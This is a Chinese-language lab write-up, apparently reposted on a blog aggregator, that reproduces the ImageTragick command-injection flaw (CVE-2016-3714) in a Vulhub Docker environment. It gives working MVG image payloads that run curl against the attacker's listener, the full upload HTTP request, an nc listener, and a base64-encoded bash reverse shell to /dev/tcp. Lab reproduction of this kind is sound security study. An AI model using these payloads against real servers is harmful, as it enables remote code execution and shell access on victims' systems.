您的位置:首页 > 其它

利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)

2019-07-10 14:44 2361 查看

Imagetragick 命令执行漏洞(CVE-2016–3714)

  • 复现过程
  • 端口设置
  • Vulnhub官方复现教程

    https://github.com/vulhub/vulhub/blob/master/imagemagick/imagetragick/README.zh-cn.md

    漏洞原理

    详情见 https://imagetragick.com/
    或https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

    复现过程

    启动环境

    https://blog.csdn.net/JiangBuLiu/article/details/93853056
    进入路径为

    cd /root/vulhub/imagemagick/imagetragick

    搭建及运行漏洞环境:

    docker-compose build && docker-compose up -d

    用时:3分钟
    环境启动后,访问

    http://your-ip/
    可见有三个文件:

    ├── demo.php # 使用vul.jpg+identify命令测试
    ├── upload.php # 支持用户进行上传,并将上传的文件传入PHP的imagick扩展,触发漏洞
    └── vul.jpg # 一个简单的POC

    漏洞复现

    首先访问

    http://your-ip/demo.php


    命令并没有回显,但在docker容器中,已经成功得到
    /tmp/success
    文件:

    docker-compose exec apache cat /tmp/success

    端口设置

    浏览器设置

    以火狐浏览器FireFox为例,在

    选项
    常规
    网络设置
    设置
    ,将
    连接
    手动代理配置
    HTTP代理
    ,填写
    127.0.0.1
    ,端口为
    80

    BurpSuit设置

    Proxy
    Options
    Proxy Listeners
    编辑监听端口为
    80


    并将
    Proxy
    Intercept
    点击成
    Intercept is on

    上传POC

    再访问

    http://your-ip/upload.php
    测试,上传POC文件
    一些测试使用的POC:https://github.com/ImageTragick/PoCs
    比如

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.0/joker.jpg"|curl "your-ip:4444)'
    pop graphic-context

    将POC代码保存为.jpg文件的POC文件
    数据包如下(注意,我换了一个POC):

    POST /upload.php HTTP/1.1
    Host: your-ip
    Content-Length: 321
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
    Content-Type: multipart/form-data; boundary=---------------------------293582696224464
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
    Connection: close
    
    -----------------------------293582696224464
    Content-Disposition: form-data; name="file_upload"; filename="CVE-2016-3714.jpg"
    Content-Type: image/jpeg
    
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.0/joker.jpg"|curl "【your-ip】:3333)'
    pop graphic-context
    -----------------------------293582696224464--

    监听3333端口

    nc -lvnp 3333

    发现

    your-ip:3333
    已经接收到http请求,【注意】修改IP,说明curl命令执行成功:

    反弹shell POC

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM2LjEzOC84ODg5IDA+JjE | base64 -d | bash`"||id " )'
    pop graphic-context


    【注意】echo后是经过base64编码

    /bin/bash -i >& /dev/tcp/192.168.236.138/8889 0>&1
    ,请根据自己的IP地址更换base64编码

    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: 
    相关文章推荐